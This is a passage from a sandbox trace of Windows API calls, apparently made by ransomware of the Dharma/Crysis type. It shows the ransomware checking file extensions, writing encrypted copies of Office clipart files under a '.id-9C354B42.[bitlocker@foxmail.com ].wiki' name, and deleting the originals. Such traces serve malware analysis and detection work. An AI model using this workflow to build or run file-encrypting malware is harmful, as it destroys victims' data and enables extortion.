Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0189.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.099] lstrlenW (lpString=".doc") returned 4 [0189.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.099] lstrlenW (lpString=".docx") returned 5 [0189.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.099] lstrlenW (lpString=".pdf") returned 4 [0189.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.099] lstrlenW (lpString=".xls") returned 4 [0189.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.099] lstrlenW (lpString=".xlsx") returned 5 [0189.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.099] lstrlenW (lpString=".ppt") returned 4 [0189.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.100] lstrlenW (lpString=".zip") returned 4 [0189.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.100] lstrlenW (lpString=".rar") returned 4 [0189.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.100] lstrlenW (lpString=".bz2") returned 4 [0189.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.100] lstrlenW (lpString=".7z") returned 3 [0189.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.100] lstrlenW (lpString=".dbf") returned 4 [0189.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.100] lstrlenW (lpString=".1cd") returned 4 [0189.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.100] lstrlenW (lpString=".jpg") returned 4 [0189.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.100] lstrlenW (lpString=".doc") returned 4 [0189.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.100] lstrlenW (lpString=".docx") returned 5 [0189.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.100] lstrlenW (lpString=".pdf") returned 4 [0189.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.100] lstrlenW (lpString=".xls") returned 4 [0189.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.100] lstrlenW (lpString=".xlsx") returned 5 [0189.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.100] lstrlenW (lpString=".ppt") returned 4 [0189.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.101] lstrlenW (lpString=".zip") returned 4 [0189.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.101] lstrlenW (lpString=".rar") returned 4 [0189.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.101] lstrlenW (lpString=".bz2") returned 4 [0189.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.101] lstrlenW (lpString=".7z") returned 3 [0189.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.101] lstrlenW (lpString=".dbf") returned 4 [0189.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.101] lstrlenW (lpString=".1cd") returned 4 [0189.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 63 [0189.101] lstrlenW (lpString=".jpg") returned 4 [0189.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.101] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.101] lstrlenW (lpString="FD01193_.WMF") returned 12 [0189.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.102] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1160) returned 1 [0189.102] CloseHandle (hObject=0x1d8) returned 1 [0189.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0189.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.102] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.102] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.102] GetLastError () returned 0x0 [0189.102] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x488, lpOverlapped=0x0) returned 1 [0189.125] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x490, lpOverlapped=0x0) returned 1 [0189.126] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.126] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.126] SetEndOfFile (hFile=0x1e4) returned 1 [0189.126] CloseHandle (hObject=0x1e4) returned 1 [0189.127] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.127] SetEndOfFile (hFile=0x1d8) returned 1 [0189.127] CloseHandle (hObject=0x1d8) returned 1 [0189.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0189.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.128] lstrlenW (lpString=".doc") returned 4 [0189.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.128] lstrlenW (lpString=".docx") returned 5 [0189.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.128] lstrlenW (lpString=".pdf") returned 4 [0189.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.128] lstrlenW (lpString=".xls") returned 4 [0189.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.128] lstrlenW (lpString=".xlsx") returned 5 [0189.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.128] lstrlenW (lpString=".ppt") returned 4 [0189.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.128] lstrlenW (lpString=".zip") returned 4 [0189.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.128] lstrlenW (lpString=".rar") returned 4 [0189.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.128] lstrlenW (lpString=".bz2") returned 4 [0189.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.128] lstrlenW (lpString=".7z") returned 3 [0189.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.128] lstrlenW (lpString=".dbf") returned 4 [0189.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.128] lstrlenW (lpString=".1cd") returned 4 [0189.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.129] lstrlenW (lpString=".jpg") returned 4 [0189.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.129] lstrlenW (lpString=".doc") returned 4 [0189.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.129] lstrlenW (lpString=".docx") returned 5 [0189.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.129] lstrlenW (lpString=".pdf") returned 4 [0189.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.129] lstrlenW (lpString=".xls") returned 4 [0189.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.129] lstrlenW (lpString=".xlsx") returned 5 [0189.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.129] lstrlenW (lpString=".ppt") returned 4 [0189.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.129] lstrlenW (lpString=".zip") returned 4 [0189.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.129] lstrlenW (lpString=".rar") returned 4 [0189.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.129] lstrlenW (lpString=".bz2") returned 4 [0189.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.129] lstrlenW (lpString=".7z") returned 3 [0189.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.129] lstrlenW (lpString=".dbf") returned 4 [0189.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.129] lstrlenW (lpString=".1cd") returned 4 [0189.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0189.130] lstrlenW (lpString=".jpg") returned 4 [0189.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.130] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.130] lstrlenW (lpString="FD01658_.WMF") returned 12 [0189.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.130] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17924) returned 1 [0189.130] CloseHandle (hObject=0x1d8) returned 1 [0189.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0189.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.131] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.131] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.131] GetLastError () returned 0x0 [0189.131] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4604, lpOverlapped=0x0) returned 1 [0189.158] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4610, lpOverlapped=0x0) returned 1 [0189.159] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.159] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.159] SetEndOfFile (hFile=0x1e4) returned 1 [0189.159] CloseHandle (hObject=0x1e4) returned 1 [0189.160] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.160] SetEndOfFile (hFile=0x1d8) returned 1 [0189.161] CloseHandle (hObject=0x1d8) returned 1 [0189.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0189.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.161] lstrlenW (lpString=".doc") returned 4 [0189.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.161] lstrlenW (lpString=".docx") returned 5 [0189.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.161] lstrlenW (lpString=".pdf") returned 4 [0189.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString=".xls") returned 4 [0189.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.162] lstrlenW (lpString=".xlsx") returned 5 [0189.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.162] lstrlenW (lpString=".ppt") returned 4 [0189.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.162] lstrlenW (lpString=".zip") returned 4 [0189.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.162] lstrlenW (lpString=".rar") returned 4 [0189.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString=".bz2") returned 4 [0189.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString=".7z") returned 3 [0189.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.162] lstrlenW (lpString=".dbf") returned 4 [0189.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.162] lstrlenW (lpString=".1cd") returned 4 [0189.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.162] lstrlenW (lpString=".jpg") returned 4 [0189.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.162] lstrlenW (lpString=".doc") returned 4 [0189.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.162] lstrlenW (lpString=".docx") returned 5 [0189.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.162] lstrlenW (lpString=".pdf") returned 4 [0189.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString=".xls") returned 4 [0189.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.163] lstrlenW (lpString=".xlsx") returned 5 [0189.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.163] lstrlenW (lpString=".ppt") returned 4 [0189.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.163] lstrlenW (lpString=".zip") returned 4 [0189.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.163] lstrlenW (lpString=".rar") returned 4 [0189.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString=".bz2") returned 4 [0189.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString=".7z") returned 3 [0189.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.163] lstrlenW (lpString=".dbf") returned 4 [0189.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.163] lstrlenW (lpString=".1cd") returned 4 [0189.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0189.163] lstrlenW (lpString=".jpg") returned 4 [0189.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.163] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.164] lstrlenW (lpString="FD02071_.WMF") returned 12 [0189.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.164] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2188) returned 1 [0189.164] CloseHandle (hObject=0x1d8) returned 1 [0189.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0189.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.164] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.164] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.165] GetLastError () returned 0x0 [0189.165] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x88c, lpOverlapped=0x0) returned 1 [0189.182] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x890, lpOverlapped=0x0) returned 1 [0189.313] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.313] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.321] SetEndOfFile (hFile=0x1e4) returned 1 [0189.329] CloseHandle (hObject=0x1e4) returned 1 [0189.329] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.329] SetEndOfFile (hFile=0x1d8) returned 1 [0189.344] CloseHandle (hObject=0x1d8) returned 1 [0189.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0189.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0189.344] lstrlenW (lpString="C:\\Program Files\\Microsoft 